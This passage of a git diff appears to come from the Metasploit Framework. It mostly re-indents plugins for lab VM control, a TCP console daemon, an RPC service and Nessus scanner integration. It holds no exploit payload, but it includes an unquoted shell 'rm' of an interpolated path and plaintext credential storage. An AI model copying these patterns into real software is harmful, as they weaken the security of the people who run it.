@controller.to_file(args[0]) + end + + def cmd_lab_load_running(*args) + return lab_usage if args.empty? + + if args[0] =~ /^remote_/ + return lab_usage unless args.count == 3 + ## Expect a username & password + @controller.build_from_running(args[0], args[1], args[2]) + else + return lab_usage unless args.count == 1 + @controller.build_from_running(args[0]) + end + end + + def cmd_lab_load_config(*args) + return lab_usage if args.empty? + + if args[0] =~ /^remote_/ + return lab_usage unless args.count == 3 + ## Expect a username & password + @controller.build_from_config(args[0], args[1], args[2]) + else + return lab_usage unless args.count == 1 + @controller.build_from_config(args[0]) + end + end + + def cmd_lab_load_dir(*args) + return lab_usage unless args.count == 2 + @controller.build_from_dir(args[0],args[1],true) + end + + def cmd_lab_clear(*args) + @controller.clear! + end + + def cmd_lab_save(*args) + return lab_usage if args.empty? + @controller.to_file(args[0]) + end + + + ## + ## Commands for dealing with a currently-loaded lab + ## + def cmd_lab_show(*args) + if args.empty? + hlp_print_lab + else + args.each do |name| + if @controller.includes_hostname? name + print_line @controller[name].to_yaml + else + print_error "Unknown vm '#{name}'" + end + end + end + end + + def cmd_lab_show_running(*args) + hlp_print_lab_running + end + + + def cmd_lab_search(*args) + if args.empty? + hlp_print_lab + else + args.each do |arg| + print_line "Searching for vms with hostname matching #{arg}" + @controller.each do |vm| + print_line "checking to see #{vm.hostname} matches #{arg}" + print_line "#{vm.hostname} matched #{arg}" if vm.hostname =~ Regexp.new(arg) + end + end + end + end + + def cmd_lab_search_tags(*args) + if args.empty? + hlp_print_lab + else + args.each do |arg| + print_line "Searching for vms with tags matching #{arg}" + @controller.each do |vm| + print_line "checking to see #{vm.hostname} is tagged #{arg}" + print_line "#{vm.hostname} tagged #{arg}" if vm.tagged?(arg) + end + end + end + end + + + def cmd_lab_start(*args) + return lab_usage if args.empty? + + if args[0] == "all" + @controller.each do |vm| + print_line "Starting lab vm #{vm.hostname}." + if !vm.running? + vm.start + else + print_line "Lab vm #{vm.hostname} already running." + end + end + else + args.each do |arg| + if @controller.includes_hostname? arg + vm = @controller.find_by_hostname(arg) + if !vm.running? + print_line "Starting lab vm #{vm.hostname}." + vm.start + else + print_line "Lab vm #{vm.hostname} already running." + end + end + end + end + end + + def cmd_lab_stop(*args) + return lab_usage if args.empty? + + if args[0] == "all" + @controller.each do |vm| + print_line "Stopping lab vm #{vm.hostname}." + if vm.running? + vm.stop + else + print_line "Lab vm #{vm.hostname} not running." + end + end + else + args.each do |arg| + if @controller.includes_hostname? arg + vm = @controller.find_by_hostname(arg) + if vm.running? + print_line "Stopping lab vm #{vm.hostname}." + vm.stop + else + print_line "Lab vm #{vm.hostname} not running." + end + end + end + end + end + + def cmd_lab_suspend(*args) + return lab_usage if args.empty? + + if args[0] == "all" + @controller.each{ |vm| vm.suspend } + else + args.each do |arg| + if @controller.includes_hostname? arg + if @controller.find_by_hostname(arg).running? + print_line "Suspending lab vm #{arg}." + @controller.find_by_hostname(arg).suspend + end + end + end + end + end + + def cmd_lab_reset(*args) + return lab_usage if args.empty? + + if args[0] == "all" + print_line "Resetting all lab vms." + @controller.each{ |vm| vm.reset } + else + args.each do |arg| + if @controller.includes_hostname? arg + if @controller.find_by_hostname(arg).running? + print_line "Resetting lab vm #{arg}." + @controller.find_by_hostname(arg).reset + end + end + end + end + end + + + def cmd_lab_snapshot(*args) + return lab_usage if args.count < 2 + snapshot = args[args.count-1] + + if args[0] == "all" + print_line "Snapshotting all lab vms to snapshot: #{snapshot}." + @controller.each{ |vm| vm.create_snapshot(snapshot) } + else + args[0..-2].each do |name_arg| + next unless @controller.includes_hostname? name_arg + print_line "Snapshotting #{name_arg} to snapshot: #{snapshot}." + @controller[name_arg].create_snapshot(snapshot) + end + end + end + + + def cmd_lab_revert(*args) + return lab_usage if args.count < 2 + snapshot = args[args.count-1] + + if args[0] == "all" + print_line "Reverting all lab vms to snapshot: #{snapshot}." + @controller.each{ |vm| vm.revert_snapshot(snapshot) } + else + args[0..-2].each do |name_arg| + next unless @controller.includes_hostname? name_arg + print_line "Reverting #{name_arg} to snapshot: #{snapshot}." + @controller[name_arg].revert_snapshot(snapshot) + end + end + end + + + def cmd_lab_run_command(*args) + return lab_usage if args.empty? + command = args[args.count-1] + if args[0] == "all" + print_line "Running command #{command} on all vms." + @controller.each do |vm| + if vm.running? + print_line "#{vm.hostname} running command: #{command}." + vm.run_command(command) + end + end + else + args[0..-2].each do |name_arg| + next unless @controller.includes_hostname? name_arg + if @controller[name_arg].running? + print_line "#{name_arg} running command: #{command}." + @controller[name_arg].run_command(command) + end + end + end + end + + # + # Command: lab_upload [vmids] [from] [to] + # + # Description: Uploads a file to the guest(s) + # + # Quirks: Pass "all" as a vmid to have it operate on all vms. + # + def cmd_lab_upload(*args) + return lab_usage if args.empty? + return lab_usage if args.count < 3 + + local_path = args[args.count-2] + vm_path = args[args.count-1] + + if args[0] == "all" + @controller.each do |vm| + if vm.running? + print_line "Copying from #{local_path} to #{vm_path} on #{vm.hostname}" + vm.copy_to_guest(local_path, vm_path) + end + end + else + args[0..-2].each do |vmid_arg| + next unless @controller.includes_hostname? vmid_arg + if @controller[vmid_arg].running? + print_line "Copying from #{local_path} to #{vm_path} on #{vmid_arg}" + @controller[vmid_arg].copy_to_guest(local_path, vm_path) + end + end + end + end + + def cmd_lab_browse_to(*args) + return lab_usage if args.empty? + uri = args[args.count-1] + if args[0] == "all" + print_line "Opening: #{uri} on all vms." + @controller.each do |vm| + if vm.running? + print_line "#{vm.hostname} opening to uri: #{uri}." + vm.open_uri(uri) + end + end + else + args[0..-2].each do |name_arg| + next unless @controller.includes_hostname? name_arg + if @controller[name_arg].running? + print_line "#{name_arg} opening to uri: #{uri}." + @controller[name_arg].open_uri(uri) + end + end + end + end + + + ## + ## Commands for help + ## + + def longest_cmd_size + commands.keys.map {|x| x.size}.sort.last + end + + # No extended help yet, but this is where more detailed documentation + # on particular commands would live. Key is command, (not cmd_command), + # value is the documentation. + def extended_help + { + "lab_fake_cmd" => "This is a fake command. It's got its own special docs." + + (" " * longest_cmd_size) + "It might be long so so deal with formatting somehow." + } + end + + # Map for usages + def lab_usage + caller[0][/`cmd_(.*)'/] + cmd = $1 + if extended_help[cmd] || commands[cmd] + cmd_lab_help cmd + else # Should never really get here... + print_error "Unknown command. Try 'help'" + end + end + + def cmd_lab_help(*args) + if args.empty? + commands.each_pair {|k,v| print_line "%-#{longest_cmd_size}s - %s" % [k,v] } + else + args.each do |c| + if extended_help[c] || commands[c] + print_line "%-#{longest_cmd_size}s - %s" % [c,extended_help[c] || commands[c]] + else + print_error "Unknown command '#{c}'" + end + end + end + + print_line + print_line "In order to use this plugin, you'll want to configure a .yml lab file" + print_line "You can find an example in data/lab/test_targets.yml" + print_line + end + + + private + def hlp_print_lab + indent = ' ' + + tbl = Rex::Ui::Text::Table.new( + 'Header' => 'Available Lab VMs', + 'Indent' => indent.length, + 'Columns' => [ 'Hostname', 'Driver', 'Type' ] + ) + + @controller.each do |vm| + tbl << [ vm.hostname, + vm.driver.class, + vm.type] + end + + print_line tbl.to_s + end + + def hlp_print_lab_running + indent = ' ' + + tbl = Rex::Ui::Text::Table.new( + 'Header' => 'Running Lab VMs', + 'Indent' => indent.length, + 'Columns' => [ 'Hostname', 'Driver', 'Type', 'Power?' ] + ) + + @controller.each do |vm| + if vm.running? + tbl << [ vm.hostname, + vm.driver.class, + vm.type, + vm.running?] + end + end + print_line tbl.to_s + end + + + end + + # + # The constructor is called when an instance of the plugin is created. The + # framework instance that the plugin is being associated with is passed in + # the framework parameter. Plugins should call the parent constructor when + # inheriting from Msf::Plugin to ensure that the framework attribute on + # their instance gets set. + # + attr_accessor :controller + + def initialize(framework, opts) + super + + ## Register the commands above + console_dispatcher = add_console_dispatcher(LabCommandDispatcher) + + @controller = ::Lab::Controllers::VmController.new + + ## Share the vms + console_dispatcher.controller = @controller + end + + + # + # The cleanup routine for plugins gives them a chance to undo any actions + # they may have done to the framework. For instance, if a console + # dispatcher was added, then it should be removed in the cleanup routine. + # + def cleanup + # If we had previously registered a console dispatcher with the console, + # deregister it now. + remove_console_dispatcher('Lab') + end + + # + # This method returns a short, friendly name for the plugin. + # + def name + "lab" + end + + # + # This method returns a brief description of the plugin. It should be no + # more than 60 characters, but there are no hard limits. + # + def desc + "Adds the ability to manage VMs" + end end ## End Class end ## End Module diff --git a/plugins/msfd.rb b/plugins/msfd.rb index 98b13ce1c5..3f7e27f4fd 100644 --- a/plugins/msfd.rb +++ b/plugins/msfd.rb @@ -20,144 +20,144 @@ module Msf ### class Plugin::Msfd < Msf::Plugin - # - # The default local hostname that the server listens on. - # - DefaultHost = "127.0.0.1" + # + # The default local hostname that the server listens on. + # + DefaultHost = "127.0.0.1" - # - # The default local port that the server listens on. - # - DefaultPort = 55554 + # + # The default local port that the server listens on. + # + DefaultPort = 55554 - # - # Initializes the msfd plugin. The following options are supported in the - # hash by this plugin: - # - # ServerHost - # - # The local hostname to listen on for connections. The default is - # 127.0.0.1. - # - # ServerPort - # - # The local port to listen on for connections. The default is 55554. - # - # SSL - # - # Use SSL - # - # RunInForeground - # - # Instructs the plugin to now execute the daemon in a worker thread and to - # instead allow the caller to manage executing the daemon through the - # ``run'' method. - # - # HostsAllowed - # - # List of hosts (in NBO) allowed to use msfd - # - # HostsDenied - # - # List of hosts (in NBO) not allowed to use msfd - # - def initialize(framework, opts) - super + # + # Initializes the msfd plugin. The following options are supported in the + # hash by this plugin: + # + # ServerHost + # + # The local hostname to listen on for connections. The default is + # 127.0.0.1. + # + # ServerPort + # + # The local port to listen on for connections. The default is 55554. + # + # SSL + # + # Use SSL + # + # RunInForeground + # + # Instructs the plugin to now execute the daemon in a worker thread and to + # instead allow the caller to manage executing the daemon through the + # ``run'' method. + # + # HostsAllowed + # + # List of hosts (in NBO) allowed to use msfd + # + # HostsDenied + # + # List of hosts (in NBO) not allowed to use msfd + # + def initialize(framework, opts) + super - # Start listening for connections. - self.server = Rex::Socket::TcpServer.create( - 'LocalHost' => opts['ServerHost'] || DefaultHost, - 'LocalPort' => opts['ServerPort'] || DefaultPort, - 'SSL' => opts['SSL']) + # Start listening for connections. + self.server = Rex::Socket::TcpServer.create( + 'LocalHost' => opts['ServerHost'] || DefaultHost, + 'LocalPort' => opts['ServerPort'] || DefaultPort, + 'SSL' => opts['SSL']) - # If the run in foreground flag is not specified, then go ahead and fire - # it off in a worker thread. - if (opts['RunInForeground'] != true) - Thread.new { - run(opts) - } - end - end + # If the run in foreground flag is not specified, then go ahead and fire + # it off in a worker thread. + if (opts['RunInForeground'] != true) + Thread.new { + run(opts) + } + end + end - # - # Returns 'msfd' - # - def name - "msfd" - end + # + # Returns 'msfd' + # + def name + "msfd" + end - # - # Returns the msfd plugin description. - # - def desc - "Provides a console interface to users over a listening TCP port." - end + # + # Returns the msfd plugin description. + # + def desc + "Provides a console interface to users over a listening TCP port." + end - # - # Runs the msfd plugin by blocking on new connections and then spawning - # threads to handle the console interface for each client. - # - def run(opts={}) - while true - client = server.accept + # + # Runs the msfd plugin by blocking on new connections and then spawning + # threads to handle the console interface for each client. + # + def run(opts={}) + while true + client = server.accept - addr = Rex::Socket.resolv_nbo(client.peerhost) + addr = Rex::Socket.resolv_nbo(client.peerhost) - if opts['HostsAllowed'] and - not opts['HostsAllowed'].find { |x| x == addr } - client.close - next - end + if opts['HostsAllowed'] and + not opts['HostsAllowed'].find { |x| x == addr } + client.close + next + end - if opts['HostsDenied'] and - opts['HostsDenied'].find { |x| x == addr } - client.close - next - end - msg = "Msfd: New connection from #{client.peerhost}" - ilog(msg, 'core') - print_status(msg) + if opts['HostsDenied'] and + opts['HostsDenied'].find { |x| x == addr } + client.close + next + end + msg = "Msfd: New connection from #{client.peerhost}" + ilog(msg, 'core') + print_status(msg) - # Spawn a thread for the client connection - Thread.new(client) { |cli| - begin - Msf::Ui::Console::Driver.new( - Msf::Ui::Console::Driver::DefaultPrompt, - Msf::Ui::Console::Driver::DefaultPromptChar, - 'Framework' => framework, - 'LocalInput' => Rex::Ui::Text::Input::Socket.new(cli), - 'LocalOutput' => Rex::Ui::Text::Output::Socket.new(cli), - 'AllowCommandPassthru' => false).run - rescue - elog("Msfd: Client error: #{$!}\n\n#{$@.join("\n")}", 'core') - ensure - msg = "Msfd: Closing client connection with #{cli.peerhost}" - ilog(msg, 'core') - print_status(msg) - begin - cli.shutdown - cli.close - rescue IOError - end - end - } - end - end + # Spawn a thread for the client connection + Thread.new(client) { |cli| + begin + Msf::Ui::Console::Driver.new( + Msf::Ui::Console::Driver::DefaultPrompt, + Msf::Ui::Console::Driver::DefaultPromptChar, + 'Framework' => framework, + 'LocalInput' => Rex::Ui::Text::Input::Socket.new(cli), + 'LocalOutput' => Rex::Ui::Text::Output::Socket.new(cli), + 'AllowCommandPassthru' => false).run + rescue + elog("Msfd: Client error: #{$!}\n\n#{$@.join("\n")}", 'core') + ensure + msg = "Msfd: Closing client connection with #{cli.peerhost}" + ilog(msg, 'core') + print_status(msg) + begin + cli.shutdown + cli.close + rescue IOError + end + end + } + end + end - # - # Closes the listener service. - # - def cleanup - ilog("Msfd: Shutting down server", 'core') - self.server.close - end + # + # Closes the listener service. + # + def cleanup + ilog("Msfd: Shutting down server", 'core') + self.server.close + end protected - # - # The listening socket instance. - # - attr_accessor :server + # + # The listening socket instance. + # + attr_accessor :server end diff --git a/plugins/msgrpc.rb b/plugins/msgrpc.rb index df98617f8c..432854cda0 100644 --- a/plugins/msgrpc.rb +++ b/plugins/msgrpc.rb @@ -23,103 +23,103 @@ module Msf ### class Plugin::MSGRPC < Msf::Plugin - # - # The default local hostname that the server listens on. - # - DefaultHost = "127.0.0.1" + # + # The default local hostname that the server listens on. + # + DefaultHost = "127.0.0.1" - # - # The default local port that the server listens on. - # - DefaultPort = 55552 + # + # The default local port that the server listens on. + # + DefaultPort = 55552 - # - # ServerPort - # - # The local port to listen on for connections. The default is 55553 - # - def initialize(framework, opts) - super + # + # ServerPort + # + # The local port to listen on for connections. The default is 55553 + # + def initialize(framework, opts) + super - host = opts['ServerHost'] || DefaultHost - port = opts['ServerPort'] || DefaultPort - ssl = (opts['SSL'] and opts['SSL'].to_s =~ /^[ty]/i) ? true : false - cert = opts['SSLCert'] + host = opts['ServerHost'] || DefaultHost + port = opts['ServerPort'] || DefaultPort + ssl = (opts['SSL'] and opts['SSL'].to_s =~ /^[ty]/i) ? true : false + cert = opts['SSLCert'] - user = opts['User'] || "msf" - pass = opts['Pass'] || ::Rex::Text.rand_text_alphanumeric(8) - uri = opts['URI'] || "/api" + user = opts['User'] || "msf" + pass = opts['Pass'] || ::Rex::Text.rand_text_alphanumeric(8) + uri = opts['URI'] || "/api" - print_status("MSGRPC Service: #{host}:#{port} #{ssl ? " (SSL)" : ""}") - print_status("MSGRPC Username: #{user}") - print_status("MSGRPC Password: #{pass}") + print_status("MSGRPC Service: #{host}:#{port} #{ssl ? " (SSL)" : ""}") + print_status("MSGRPC Username: #{user}") + print_status("MSGRPC Password: #{pass}") - self.server = ::Msf::RPC::Service.new(framework, { - :host => host, - :port => port, - :ssl => ssl, - :cert => cert, - :uri => uri, - :tokens => { } - }) + self.server = ::Msf::RPC::Service.new(framework, { + :host => host, + :port => port, + :ssl => ssl, + :cert => cert, + :uri => uri, + :tokens => { } + }) - self.server.add_user(user, pass) + self.server.add_user(user, pass) - # If the run in foreground flag is not specified, then go ahead and fire - # it off in a worker thread. - if (opts['RunInForeground'] != true) - # Store a handle to the thread so we can kill it during - # cleanup when we get unloaded. - self.thread = Thread.new { run } - framework.threads.register(self.thread, "MetasploitRPCServer", true) - end - end + # If the run in foreground flag is not specified, then go ahead and fire + # it off in a worker thread. + if (opts['RunInForeground'] != true) + # Store a handle to the thread so we can kill it during + # cleanup when we get unloaded. + self.thread = Thread.new { run } + framework.threads.register(self.thread, "MetasploitRPCServer", true) + end + end - # - # Returns 'msgrpc' - # - def name - "msgrpc" - end + # + # Returns 'msgrpc' + # + def name + "msgrpc" + end - # - # Returns the plugin description. - # - def desc - "Provides a MessagePack interface over HTTP" - end + # + # Returns the plugin description. + # + def desc + "Provides a MessagePack interface over HTTP" + end - # - # The meat of the plugin, sets up handlers for requests - # - def run - # Start the actual service - self.server.start + # + # The meat of the plugin, sets up handlers for requests + # + def run + # Start the actual service + self.server.start - # Register - framework.threads.register(Thread.current, "MetasploitRPCServer", true) + # Register + framework.threads.register(Thread.current, "MetasploitRPCServer", true) - # Wait for the service to complete - self.server.wait - end + # Wait for the service to complete + self.server.wait + end - # - # Closes the listener service. - # - def cleanup - self.server.stop if self.server - self.thread.kill if self.thread - self.server = nil - super - end + # + # Closes the listener service. + # + def cleanup + self.server.stop if self.server + self.thread.kill if self.thread + self.server = nil + super + end - # - # The MSGRPC instance. - # - attr_accessor :server - attr_accessor :thread - attr_accessor :users - attr_accessor :tokens + # + # The MSGRPC instance. + # + attr_accessor :server + attr_accessor :thread + attr_accessor :users + attr_accessor :tokens end diff --git a/plugins/nessus.rb b/plugins/nessus.rb index a0144d1aef..fceab3f44f 100644 --- a/plugins/nessus.rb +++ b/plugins/nessus.rb @@ -5,1679 +5,1679 @@ require 'nessus/nessus-xmlrpc' require 'rex/parser/nessus_xml' module Msf - class Plugin::Nessus < Msf::Plugin - - #creates the index of exploit details to make searching for exploits much faster. - def create_xindex - start = Time.now - print_status("Creating Exploit Search Index - (#{@xindex}) - this wont take long.") - count = 0 - # use Msf::Config.get_config_root as the location. - File.open("#{@xindex}", "w+") do |f| - #need to add version line. - f.puts(Msf::Framework::RepoRevision) - framework.exploits.sort.each { |refname, mod| - stuff = "" - o = nil - begin - o = mod.new - rescue ::Exception - end - stuff << "#{refname}|#{o.name}|#{o.platform_to_s}|#{o.arch_to_s}" - next if not o - o.references.map do |x| - if !(x.ctx_id == "URL") - if (x.ctx_id == "MSB") - stuff << "|#{x.ctx_val}" - else - stuff << "|#{x.ctx_id}-#{x.ctx_val}" - end - end - end - stuff << "\n" - f.puts(stuff) - } - end - total = Time.now - start - print_status("It has taken : #{total} seconds to build the exploits search index") - end - - def nessus_index - if File.exist?("#{@xindex}") - #check if it's version line matches current version. - File.open("#{@xindex}") {|f| - line = f.readline - line.chomp! - if line.to_i == Msf::Framework::RepoRevision - print_good("Exploit Index - (#{@xindex}) - is valid.") - else - create_xindex - end - } - else - create_xindex - end - end - - class ConsoleCommandDispatcher - include Msf::Ui::Console::CommandDispatcher - - def name - "Nessus" - end - - def commands - { - "nessus_connect" => "Connect to a nessus server: nconnect username:password@hostname:port <ssl ok>.", - "nessus_admin" => "Checks if user is an admin.", - "nessus_help" => "Get help on all commands.", - "nessus_logout" => "Terminate the session.", - "nessus_server_status" => "Check the status of your Nessus Server.", - "nessus_server_feed" => "Nessus Feed Type.", - "nessus_server_prefs" => "Display Server Prefs.", - "nessus_report_list" => "List all Nessus reports.", - "nessus_report_get" => "Import a report from the nessus server in Nessus v2 format.", - "nessus_report_del" => "Delete a report.", - "nessus_report_vulns" => "Get list of vulns from a report.", - "nessus_report_hosts" => "Get list of hosts from a report.", - "nessus_report_host_ports" => "Get list of open ports from a host from a report.", - "nessus_report_host_detail" => "Detail from a report item on a host.", - "nessus_scan_status" => "List all currently running Nessus scans.", - "nessus_scan_new" => "Create new Nessus Scan.", - "nessus_scan_pause" => "Pause a Nessus Scan.", - "nessus_scan_pause_all" => "Pause all Nessus Scans.", - "nessus_scan_stop" => "Stop a Nessus Scan.", - "nessus_scan_stop_all" => "Stop all Nessus Scans.", - "nessus_scan_resume" => "Resume a Nessus Scan.", - "nessus_scan_resume_all" => "Resume all Nessus Scans.", - "nessus_user_list" => "Show Nessus Users.", - "nessus_user_add" => "Add a new Nessus User.", - "nessus_user_del" => "Delete a Nessus User.", - "nessus_user_passwd" => "Change Nessus Users Password.", - "nessus_plugin_family" => "List plugins in a family.", - "nessus_plugin_details" => "List details of a particular plugin.", - "nessus_plugin_list" => "Displays each plugin family and the number of plugins.", - "nessus_plugin_prefs" => "Display Plugin Prefs.", - "nessus_policy_list" => "List all polciies.", - "nessus_policy_del" => "Delete a policy.", - "nessus_index" => "Manually generates a search index for exploits.", - "nessus_template_list" => "List all the templates on the server.", - "nessus_db_scan" => "Create a scan of all ips in db_hosts.", - "nessus_save" => "Save username/passowrd/server/port details." - } - end - - def cmd_nessus_index - Msf::Plugin::Nessus.nessus_index - end - - def cmd_nessus_save(*args) - #if we are logged in, save session details to nessus.yaml - @nessus_yaml = "#{Msf::Config.get_config_root}/nessus.yaml" - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_save") - return - end - - if args[0] - print_status("Usage: ") - print_status(" nessus_save") - return - end - - group = "default" - - if ((@user and @user.length > 0) and (@host and @host.length > 0) and (@port and @port.length > 0 and @port.to_i > 0) and (@pass and @pass.length > 0)) - config = Hash.new - config = {"#{group}" => {'username' => @user, 'password' => @pass, 'server' => @host, 'port' => @port}} - File.open("#{@nessus_yaml}", "w+") do |f| - f.puts YAML.dump(config) - end - print_good("#{@nessus_yaml} created.") - - else - print_error("Missing username/password/server/port - relogin and then try again.") - return - end - end - - def cmd_nessus_db_scan(*args) - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_db_scan <policy id> <scan name>") - print_status(" Example:> nessus_db_scan 1 \"My Scan\"") - print_status() - print_status("Creates a scan based on all the hosts listed in db_hosts.") - print_status("use nessus_policy_list to list all available policies") - return - end - - if ! nessus_verify_token - return - end - - case args.length - when 2 - pid = args[0].to_i - name = args[1] - else - print_status("Usage: ") - print_status(" nessus_db_scan <policy id> <scan name>") - print_status(" use nessus_policy_list to list all available policies") - return - end - - if check_policy(pid) - print_error("That policy does not exist.") - return - end - - tgts = "" - framework.db.hosts(framework.db.workspace).each do |host| - tgts << host.address - tgts << "," - end - - tgts.chop! - - print_status("Creating scan from policy number #{pid}, called \"#{name}\" and scanning all hosts in workspace") - - scan = @n.scan_new(pid, name, tgts) - - if scan - print_status("Scan started. uid is #{scan}") - end - - end - - def cmd_nessus_logout - @token = nil - print_status("Logged out") - system("rm #{@nessus_yaml}") - print_good("#{@nessus_yaml} removed.") - return - end - - def cmd_nessus_help(*args) - tbl = Rex::Ui::Text::Table.new( - 'Columns' => [ - "Command", - "Help Text" - ], - 'SortIndex' => -1 - ) - tbl << [ "Generic Commands", "" ] - tbl << [ "-----------------", "-----------------"] - tbl << [ "nessus_connect", "Connect to a nessus server" ] - tbl << [ "nessus_save", "Save nessus login info between sessions" ] - tbl << [ "nessus_logout", "Logout from the nessus server" ] - tbl << [ "nessus_help", "Listing of available nessus commands" ] - tbl << [ "nessus_server_status", "Check the status of your Nessus Server" ] - tbl << [ "nessus_admin", "Checks if user is an admin" ] - tbl << [ "nessus_server_feed", "Nessus Feed Type" ] - tbl << [ "nessus_find_targets", "Try to find vulnerable targets from a report" ] - tbl << [ "nessus_server_prefs", "Display Server Prefs" ] - tbl << [ "", ""] - tbl << [ "Reports Commands", "" ] - tbl << [ "-----------------", "-----------------"] - tbl << [ "nessus_report_list", "List all Nessus reports" ] - tbl << [ "nessus_report_get", "Import a report from the nessus server in Nessus v2 format" ] - tbl << [ "nessus_report_vulns", "Get list of vulns from a report" ] - tbl << [ "nessus_report_hosts", "Get list of hosts from a report" ] - tbl << [ "nessus_report_host_ports", "Get list of open ports from a host from a report" ] - tbl << [ "nessus_report_host_detail", "Detail from a report item on a host" ] - tbl << [ "", ""] - tbl << [ "Scan Commands", "" ] - tbl << [ "-----------------", "-----------------"] - tbl << [ "nessus_scan_new", "Create new Nessus Scan" ] - tbl << [ "nessus_scan_status", "List all currently running Nessus scans" ] - tbl << [ "nessus_scan_pause", "Pause a Nessus Scan" ] - tbl << [ "nessus_scan_pause_all", "Pause all Nessus Scans" ] - tbl << [ "nessus_scan_stop", "Stop a Nessus Scan" ] - tbl << [ "nessus_scan_stop_all", "Stop all Nessus Scans" ] - tbl << [ "nessus_scan_resume", "Resume a Nessus Scan" ] - tbl << [ "nessus_scan_resume_all", "Resume all Nessus Scans" ] - tbl << [ "", ""] - tbl << [ "Plugin Commands", "" ] - tbl << [ "-----------------", "-----------------"] - tbl << [ "nessus_plugin_list", "Displays each plugin family and the number of plugins" ] - tbl << [ "nessus_plugin_family", "List plugins in a family" ] - tbl << [ "nessus_plugin_details", "List details of a particular plugin" ] - tbl << [ "", ""] - tbl << [ "User Commands", "" ] - tbl << [ "-----------------", "-----------------"] - tbl << [ "nessus_user_list", "Show Nessus Users" ] - tbl << [ "nessus_user_add", "Add a new Nessus User" ] - tbl << [ "nessus_user_del", "Delete a Nessus User" ] - tbl << [ "nessus_user_passwd", "Change Nessus Users Password" ] - tbl << [ "", ""] - tbl << [ "Policy Commands", "" ] - tbl << [ "-----------------", "-----------------"] - tbl << [ "nessus_policy_list", "List all polciies" ] - tbl << [ "nessus_policy_del", "Delete a policy" ] - print_status "" - print_line tbl.to_s - print_status "" - end - - def cmd_nessus_server_feed(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_server_feed") - print_status(" Example:> nessus_server_feed") - print_status() - print_status("Returns information about the feed type and server version.") - return - end - - if nessus_verify_token - @feed, @version, @web_version = @n.feed - tbl = Rex::Ui::Text::Table.new( - 'Columns' => [ - 'Feed', - 'Nessus Version', - 'Nessus Web Version' - ]) - tbl << [@feed, @version, @web_version] - print_good("Nessus Status") - print_good "\n" - print_line tbl.to_s - end - end - - def nessus_verify_token - if @token.nil? or @token == '' - ncusage - return false - end - true - end - - def nessus_verify_db - - if ! (framework.db and framework.db.active) - print_error("No database has been configured, please use db_create/db_connect first") - return false - end - true - end - - def ncusage - print_status("%redYou must do this before any other commands.%clr") - print_status("Usage: ") - print_status(" nessus_connect username:password@hostname:port <ssl ok>") - print_status(" Example:> nessus_connect msf:msf@192.168.1.10:8834 ok") - print_status(" OR") - print_status(" nessus_connect username@hostname:port <ssl ok>") - print_status(" Example:> nessus_connect msf@192.168.1.10:8834 ok") - print_status(" OR") - print_status(" nessus_connect hostname:port <ssl ok>") - print_status(" Example:> nessus_connect 192.168.1.10:8834 ok") - print_status(" OR") - print_status(" nessus_connect") - print_status(" Example:> nessus_connect") - print_status("This only works after you have saved creds with nessus_save") - return - end - - def cmd_nessus_connect(*args) - # Check if config file exists and load it - @nessus_yaml = "#{Msf::Config.get_config_root}/nessus.yaml" - if ! args[0] - if File.exist?("#{@nessus_yaml}") - lconfig = YAML.load_file("#{@nessus_yaml}") - @user = lconfig['default']['username'] - @pass = lconfig['default']['password'] - @host = lconfig['default']['server'] - @port = lconfig['default']['port'] - nessus_login - return - else - ncusage - return - end - end - - if args[0] == "-h" - print_status("%redYou must do this before any other commands.%clr") - print_status("Usage: ") - print_status(" nessus_connect username:password@hostname:port <ssl ok>") - print_status(" Example:> nessus_connect msf:msf@192.168.1.10:8834 ok") - print_status(" OR") - print_status(" nessus_connect username@hostname:port <ssl ok>") - print_status(" Example:> nessus_connect msf@192.168.1.10:8834 ok") - print_status(" OR") - print_status(" nessus_connect hostname:port <ssl ok>") - print_status(" Example:> nessus_connect 192.168.1.10:8834 ok") - print_status(" OR") - print_status(" nessus_connect") - print_status(" Example:> nessus_connect") - print_status("This only works after you have saved creds with nessus_save") - print_status() - print_status("%bldusername%clr and %bldpassword%clr are the ones you use to login to the nessus web front end") - print_status("%bldhostname%clr can be an ip address or a dns name of the web front end.") - print_status("%bldport%clr is the standard that the nessus web front end runs on : 8834. This is NOT 1241.") - print_status("The \"ok\" on the end is important. It is a way of letting you") - print_status("know that nessus used a self signed cert and the risk that presents.") - return - end - - if ! @token == '' - print_error("You are already authenticated. Call nessus_logout before authing again") - return - end - - if(args.length == 0 or args[0].empty?) - ncusage - return - end - - @user = @pass = @host = @port = @sslv = nil - - case args.length - when 1,2 - if args[0].include? "@" - cred,targ = args[0].split('@', 2) - @user,@pass = cred.split(':', 2) - targ ||= '127.0.0.1:8834' - @host,@port = targ.split(':', 2) - @port ||= '8834' - @sslv = args[1] - else - @host,@port = args[0].split(':', 2) - @port ||= '8834' - @sslv = args[1] - end - - when 3,4,5 - ncusage - return - else - ncusage - return - end - - if /\/\//.match(@host) - ncusage - return - end - - if(@host != "localhost" and @host != "127.0.0.1" and @sslv != "ok") - print_error("Warning: SSL connections are not verified in this release, it is possible for an attacker") - print_error(" with the ability to man-in-the-middle the Nessus traffic to capture the Nessus") - print_error(" credentials. If you are running this on a trusted network, please pass in 'ok'") - print_error(" as an additional parameter to this command.") - return - end - - if ! @user - print_error("Missing Username") - ncusage - return - end - - if ! @pass - print_error("Missing Password") - ncusage - return - end - - if ! ((@user and @user.length > 0) and (@host and @host.length > 0) and (@port and @port.length > 0 and @port.to_i > 0) and (@pass and @pass.length > 0)) - ncusage - return - end - nessus_login - end - - def nessus_login - - if ! ((@user and @user.length > 0) and (@host and @host.length > 0) and (@port and @port.length > 0 and @port.to_i > 0) and (@pass and @pass.length > 0)) - print_status("You need to connect to a server first.") - ncusage - return - end - - @url = "https://#{@host}:#{@port}/" - print_status("Connecting to #{@url} as #{@user}") - @n=NessusXMLRPC::NessusXMLRPC.new(@url,@user,@pass) - @token=@n.login(@user,@pass) - if @n.logged_in - print_status("Authenticated") - else - print_error("Error connecting/logging to the server!") - return - end - end - - def cmd_nessus_report_list(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_report_list") - print_status(" Example:> nessus_report_list") - print_status() - print_status("Generates a list of all reports visable to your user.") - return - end - - if ! nessus_verify_token - return - end - - list=@n.report_list_hash - - tbl = Rex::Ui::Text::Table.new( - 'Columns' => [ - 'ID', - 'Name', - 'Status', - 'Date' - ]) - - list.each {|report| - t = Time.at(report['timestamp'].to_i) - tbl << [ report['id'], report['name'], report['status'], t.strftime("%H:%M %b %d %Y") ] - } - print_good("Nessus Report List") - print_good 